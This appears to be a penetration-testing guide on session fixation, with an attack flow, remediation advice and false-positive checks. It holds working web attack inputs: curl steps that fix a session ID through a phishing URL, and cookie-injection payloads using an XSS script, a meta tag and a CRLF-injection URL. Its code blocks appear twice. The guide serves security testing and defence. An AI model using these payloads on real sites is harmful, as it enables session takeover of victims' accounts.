Exploitation A07| Identification and Authentication Failures
Session Fixation
Session fixation attacks force a known session identifier onto a victim. When the victim authenticates with the fixed session, the attacker can use the same session ID to access the authenticated session. This differs from session hijacking — the attacker sets the session before authentication, not after.
Attack Flow
- 1. Attacker obtains a valid session ID from the target app (just visit the login page)
- 2. Attacker crafts a URL or tricks the victim into using that session ID
- 3. Victim clicks the link and authenticates with the fixed session
- 4. The application does NOT regenerate the session ID after login
- 5. Attacker uses the same session ID to access victim's authenticated session
Session Fixation via URL
bash
# Step 1: Get a session ID from the target:
curl -sI https://target.com/login
# Set-Cookie: PHPSESSID=abc123def456; path=/
# Step 2: Craft URL with the session ID:
https://target.com/login?PHPSESSID=abc123def456
# Or for Java applications:
https://target.com/login;jsessionid=abc123def456
# Step 3: Send this URL to the victim (phishing)
# Victim logs in → session abc123def456 is now authenticated
# Step 4: Use the session:
curl -s https://target.com/dashboard \
-H 'Cookie: PHPSESSID=abc123def456'
# If authenticated → session fixation confirmed!# Step 1: Get a session ID from the target:
curl -sI https://target.com/login
# Set-Cookie: PHPSESSID=abc123def456; path=/
# Step 2: Craft URL with the session ID:
https://target.com/login?PHPSESSID=abc123def456
# Or for Java applications:
https://target.com/login;jsessionid=abc123def456
# Step 3: Send this URL to the victim (phishing)
# Victim logs in → session abc123def456 is now authenticated
# Step 4: Use the session:
curl -s https://target.com/dashboard \
-H 'Cookie: PHPSESSID=abc123def456'
# If authenticated → session fixation confirmed!Session Fixation via Cookie Injection
bash
# If the target has an XSS vulnerability or subdomain cookie scope:
# Via XSS:
<script>document.cookie='PHPSESSID=ATTACKER_SESSION; path=/; domain=.target.com';</script>
# Via meta tag injection:
<meta http-equiv="Set-Cookie" content="PHPSESSID=ATTACKER_SESSION; path=/">
# Via subdomain (if attacker controls sub.target.com):
# Set a cookie scoped to .target.com from sub.target.com
# This cookie will be sent to www.target.com
# Via CRLF injection in HTTP headers:
https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:PHPSESSID=ATTACKER_SESSION# If the target has an XSS vulnerability or subdomain cookie scope:
# Via XSS:
<script>document.cookie='PHPSESSID=ATTACKER_SESSION; path=/; domain=.target.com';</script>
# Via meta tag injection:
<meta http-equiv="Set-Cookie" content="PHPSESSID=ATTACKER_SESSION; path=/">
# Via subdomain (if attacker controls sub.target.com):
# Set a cookie scoped to .target.com from sub.target.com
# This cookie will be sent to www.target.com
# Via CRLF injection in HTTP headers:
https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:PHPSESSID=ATTACKER_SESSIONTesting Procedure
bash
# Step 1: Note the session ID before login:
curl -sI https://target.com/login | grep -i set-cookie
# PHPSESSID=SESSION_BEFORE_LOGIN
# Step 2: Login with this session:
curl -s -X POST https://target.com/login \
-H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN' \
-d 'username=testuser&password=testpass' \
-D - -o /dev/null | grep -i set-cookie
# Step 3: Check if the session ID CHANGED after login:
# If Set-Cookie contains a NEW session ID → SAFE (session regenerated)
# If NO new Set-Cookie → VULNERABLE (session not regenerated)
# Step 4: Verify the old session is still valid:
curl -s https://target.com/dashboard \
-H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN'
# If authenticated → session fixation confirmed!
# Also test: does the app accept arbitrary session IDs?
curl -s https://target.com/login \
-H 'Cookie: PHPSESSID=ATTACKER_CHOSEN_VALUE_12345'
# If the server adopts this value → fixation possible# Step 1: Note the session ID before login:
curl -sI https://target.com/login | grep -i set-cookie
# PHPSESSID=SESSION_BEFORE_LOGIN
# Step 2: Login with this session:
curl -s -X POST https://target.com/login \
-H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN' \
-d 'username=testuser&password=testpass' \
-D - -o /dev/null | grep -i set-cookie
# Step 3: Check if the session ID CHANGED after login:
# If Set-Cookie contains a NEW session ID → SAFE (session regenerated)
# If NO new Set-Cookie → VULNERABLE (session not regenerated)
# Step 4: Verify the old session is still valid:
curl -s https://target.com/dashboard \
-H 'Cookie: PHPSESSID=SESSION_BEFORE_LOGIN'
# If authenticated → session fixation confirmed!
# Also test: does the app accept arbitrary session IDs?
curl -s https://target.com/login \
-H 'Cookie: PHPSESSID=ATTACKER_CHOSEN_VALUE_12345'
# If the server adopts this value → fixation possibleTesting Checklist
- 1. Note the session ID before authentication
- 2. Authenticate and check if the session ID changes
- 3. Verify the old session ID is invalidated
- 4. Test if the app accepts session IDs from URL parameters
- 5. Test if the app accepts arbitrary/attacker-chosen session IDs
- 6. Test session regeneration at privilege level changes (admin access, profile changes)
Evidence Collection
Before Login: HTTP response showing pre-auth session ID
After Login: HTTP response showing same session ID persists
Verification: Request using old session accessing authenticated content
CVSS Range: 6.5–8.1 depending on attack complexity and impact
Remediation
- Regenerate session on login: Always issue a new session ID after successful authentication.
- Reject URL-based sessions: Do not accept session IDs from query parameters — use cookies only.
- Reject unknown sessions: Only accept session IDs that the server has previously issued.
- Regenerate on privilege change: Issue new sessions on role changes, password changes, and MFA completion.
False Positive Identification
- Session ID preserved but session regenerated: Some frameworks reuse the cookie name but create a new server-side session — verify the attacker's pre-set session ID actually grants access post-login.
- Cookie accepted but not bound: Setting a session cookie that the server doesn't recognize will just create a new session — confirm the server binds to the attacker-supplied ID.
- Requires existing XSS or network position: Session fixation typically requires another vulnerability to set the cookie — document the prerequisite attack chain in your report.